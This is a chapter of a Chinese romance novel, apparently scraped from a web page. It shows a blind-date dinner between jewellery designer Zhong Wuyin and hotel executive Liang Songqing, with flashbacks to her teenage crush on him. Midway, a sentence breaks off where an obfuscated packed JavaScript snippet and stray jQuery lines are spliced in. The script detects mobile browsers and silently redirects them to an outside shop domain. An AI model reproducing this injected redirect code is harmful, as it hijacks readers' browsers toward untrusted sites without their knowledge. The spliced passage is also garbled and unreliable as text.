餐桌顶上悬挂的吊灯落下璀璨冷白的光,周围的人都很有素质的小声交谈,声音几乎不可闻,整个氛围宁静舒适。
钟雾茵和梁颂清在那一处靠窗的白色大理石小方桌前相对而坐,小方桌的正中摆着当日的鲜花,今天的玻璃瓶里插着一簇粉紫色的青金石月季,色调柔和,形态雅致。
今天钟雾茵在赴约之前已经大开自己的衣柜,力求从中选出最完美的搭配的衣服。
碎花裙不够干净素雅,衬衫牛仔裤不够活泼明媚,礼服裙太过正式。
明明都是经过自己精挑细选才会买回来的衣服,但是怎么搭都总觉得欠缺点什么。
在反反复复试了十几套衣服之后,在一通斟酌之下,钟雾茵选了一条淡蓝色的缎面鱼尾吊带裙,像泛着天光的清晨,湖面泛起的一层薄薄蓝雾。
吊带裙的设计,很好的展现出她挺拔的肩颈和清瘦的锁骨,锁骨上坠着的蝴蝶高珠项链散发着火彩,恰到好处的停留在她肩颈处的那朵海棠上。
高级的面料泛着珠光色,收腰的设计下是起伏的曲线,裙子很简约,没有任何赘余的花纹。
她皮肤白,气质清冷,这样一穿反倒显得有一种低调至极的贵气,不笑的时候越发的清矜。
不管是这张脸,还是这个人,还是她脖子上那条在灯光下火彩越发嚣张的项链,都无法让梁颂清忽视她。
今天梁颂清为了表示对对方的尊重,也郑重的穿了西装,他坐在灿白的吊灯下,灯光落了他一身雪色,让他整个人显得更加清越。
钟雾茵坐在他对面,令她无端想起,她去瑞士的时候,遥望那远在天边的,薄雪铺地的黑色山脊。
清冷的色调,目光所及如此近,实则非常远。
相亲时该有的开场白还没说,站在旁边的侍者递过来菜单。
梁颂清扬扬下巴,示意侍者将菜单递给钟雾茵,“钟小姐点餐就好。”
菜单上中餐西餐都有,还有各国的风味小吃。
钟雾茵快速翻阅了菜单,心里默默计算着两个人的分量,不要浪费才好。
先点了两个前菜,分别是夏日南法尼斯沙拉,燕窝银耳盅,主菜两道,法式红酒烩肉,清蒸东星斑,最后的甜点是两份美式枫叶糖浆水果华夫。
本来她想点西班牙海鲜烩饭,但是想到他们两个只是“仅仅只见过几面的陌生人”,分食起来有些不合适,所以她的目光投向了别的菜品。
她从菜单中抬头问眼前的人,“梁先生,你要不要吃牛排?”
梁颂清轻微点头,并没有看菜单,而是侧过头对侍者淡声到,“我要一份夏洛莉牛排。”
钟雾茵紧随其后,“那我要一份意式奎宁吧。”
最后侍者问钟雾茵有没有忌口,她摇摇头,然后又像是突然想起了什么,改了注意,“可以把清蒸东星斑改成剁椒蒸东星斑吗?”
钟雾茵刚刚看见菜单上有两种口味的东星斑。
侍者为难的看向梁颂清,梁颂清的口味他们再清楚不过,所以刚刚也没有多此一举的询问他,自家老板口味清淡,不太能吃辣,侍者也很清楚。
梁颂清脸上并没有多余的表情,点头示意他就这样办。
钟雾茵高二的时候,江大附中校门口新开了一家风靡附中的辣卤店,菜品新鲜,味道正宗,价格还便宜,刚开业的那几个月,成了许多附中学生的午餐校外食堂。
浓油赤酱的辣卤一盘盘摆在门口的橱窗里,很是诱人,但是吃上一口,能让人鼻尖都辣出细汗。
后来钟雾茵问过老板,原来这家店的卤菜都是用泡椒腌制过的,酱色只是表象。
而有一段时间,钟雾茵意外发现,梁颂清每天中午都会和自己的同学出现在这里。
她想,原来他喜欢吃辣。
彼时嗜甜怕辣的钟雾茵像是获得了什么重要情报,于是把自己每天中午的午饭地点,偷偷转移到这家辣卤店。
刚开始去的时候,钟雾茵站在收银台的菜单前很局促,因为这家店全是辣卤搭配米饭的套餐,而她最怕辣。
后来去的次数多了,吃辣被她渐渐习惯。
午餐时分,辣卤店里,附中的学生挤着学生,点单的挤不进收银台,还有四处转圈找空位的学生,整个辣卤店乱成一锅粥。
摩肩接踵的一堵人墙是她最好的掩饰物,她的目光穿过喧哗人群,偷偷看梁颂清。
他总是和几个男生出现在这里,周围人潮熙攘,沸反盈天,还有许多在偷看和小声议论他的女生。
而他穿着白色的校服,永远都是从容的坐在那里,像是潮涨潮退间,安静孤寂的灯塔,不管他所处的沙滩如何游人如织,如何喧闹,他都永远从容而耀眼。
大多数时候,梁颂清很少动筷子,只是和他们聊天,钟雾茵只能看到他的侧脸。不知道他们在聊什么,有的时候他会突然笑起来,唇角一勾,下颚线条和高挺的鼻梁显得更加精致迷人。
而他并不会留意到餐馆的一角。
附中校园很大,她很少能遇到梁颂清,所以只能抓住这个少有的机会偷偷看向他。
但是今天,梁颂清就坐在她对面,吃下她点的鱼的第一口,就明显被辣味呛了一下,一顿饭下来,辣味裹挟舌尖,让他从耳廓红到脖子。
他端起水杯喝了一口,喉咙里辛辣带来的刺痛消失了,他才开口说话。
“没有想到我的相亲对象竟然是钟小姐。”
两个人相视一笑,相亲的尴尬减少不少,她说,“梁先生,我也没想到会是你。”
在这次相亲之前,最近他们已经见过好几面,所以一般相亲见面的尴尬,在他们之间并不会存在。
钟雾茵想,她和梁颂清算是有一点缘分吧,江城这么大,他们唯一的那点交集只能靠叶憬和祝嘉音撑起,比断壁残垣更岌岌可危。
没想到,现在他们竟然坐在了同一张桌子上相亲。
“钟小姐,既然是相亲,那我们就直入主题吧。”
“好。”
“虽然最近我和钟小姐见过几面,但是并没有详细的了解过你,不如我们先彼此做个自我介绍。”
“好。”
“我叫梁颂清,江城本地人,家中独子,身高191,学历是硕士,本硕都在苏黎世联邦理工学院读的,家中做生意,地产行业,毕业以后先在家里公司的欧洲分部工作了两年,然后回国担任君瑞集团副总,目前我本人主要分管公司所有的酒店业务,以及一些别的事务。”
“我平常会抽烟,但是频率比较低,不管钟小姐介意与否,我都不会当着你的面抽烟。也会喝酒,但是只是在应酬上,私底下没有小酌的习惯,私下滴酒不碰,更不会嗜酒。”
莱缦酒店是君瑞集团旗下的顶奢系列酒店,君瑞集团的酒店业务背靠国内财力数一数二的梁氏控股。
君瑞旗下并没有经济连锁型酒店,甚至没有中端酒店线,只有UpperUpscale,Luxury两条线。
而百科网
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837081|211481||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
页中,君瑞的副总一栏除了“梁颂清”三个字以外,照片那一部分直接成了空白,全网更是一张他的照片都找不到,十分神秘低调。
这正经得像在面试,钟雾茵坐在他对面,突然冒出这个想法。
最后听他总结到,“所以,我学历尚可,经济条件尚可,养家的话很宽裕。”
老太太嘱咐过他,该开屏时就开屏。
这何止是尚可,君瑞集团,妥妥的豪门继承人,钟雾茵小声道,“梁先生过谦了。”
“那我也介绍一下自己吧,我叫钟雾茵,也是江城本地人,独生子女,身高172cm,学历也是硕士,本科在南城大学,硕士在法国珠宝工会学院,现在在江城开了一家珠宝设计工作室,生意还不错,虽然和梁先生的经济条件比不了,但是不管是养我自己,还是养家,都是绰绰有余的。”
梁颂清听完点点头,正色到,“了解了。”
“那么,梁先生,我有一个问题要问你。”
“请讲。”
钟雾茵问出了几日来困扰她的问题,“你怎么会来和我相亲呢?你这样的人,不应该在同一个圈子里找吗?”
梁颂清答到,“因为我不想联姻,所以想找一位和我不在同一个圈子里的太太。”
这个回答让她更为吃惊,“你家里能同意你不联姻?”
梁颂清笑了,唇角向上轻轻一抬,嗓音低沉磁性,“如果不同意,我怎么会坐在这里?”
他稍微解释了一下,“梁家的生意已经做到了江城数一数二的位置,我想,是不需要牺牲我的婚姻去捆绑利益的。”
说到这里,虽然他的语气和眼神一如既往的温和,但是钟雾茵分明看到他眉心微蹙,有一闪而过的不虞。
他反问到,“你呢?钟小姐,你看起来很年轻,怎么会来相亲?”
“家中长辈年纪大了,想看着我早点成家。”钟雾茵又补充道,“当然,回国以后,我的事业如今步入正轨,我自己也是考虑成家的。”
梁颂清:“好,了解了。”
钟雾茵继续发问,“你谈过几段恋爱?”
问出这句话的时候,她的手指忍不住扣紧手中的水杯,心中隐隐期待梁颂清的回答。
暗恋者终于可以光明正大的问出这个问题。
不知道他在附中的时候,那些扑朔迷离的传闻是不是真的,也不知道在遥远的瑞士,他有没有和别人花前月下,又或者是,他回国以后,有没有在社交场上邂逅过谁?
她一无所知。
她尽量让这个问题看起来自然,不能展露自己的私心,解释到,“既然是相亲,我总得了解一下相亲对象的情史吧。”
“没谈过。”
坐在对面的人淡声说到,语调带着不容置喙的肯定。
“真的吗?”她的手依然紧攥着水杯,加了冰块的玻璃杯冻得她一激灵,但是手指没有松开丝毫,因为她依旧紧绷着脑袋里的那根弦。
梁颂清轻笑了一下,用开玩笑的语气问到,“钟小姐不信?我看起来像是谈过很多女朋友?”
“不是。”她声音有些闷闷的,怕被看出端倪。
梁颂清解释到,“我读书的时候两耳不闻窗外事,工作的时候忙得昼夜颠倒,确实没有精力和心思去谈女朋友。”
他说完,才发觉自己竟然有份耐心,去跟钟雾茵解释这些,她不过只是他的一个相亲对象而已。
“那梁先生喜欢过谁吗?或者对谁心动过吗?”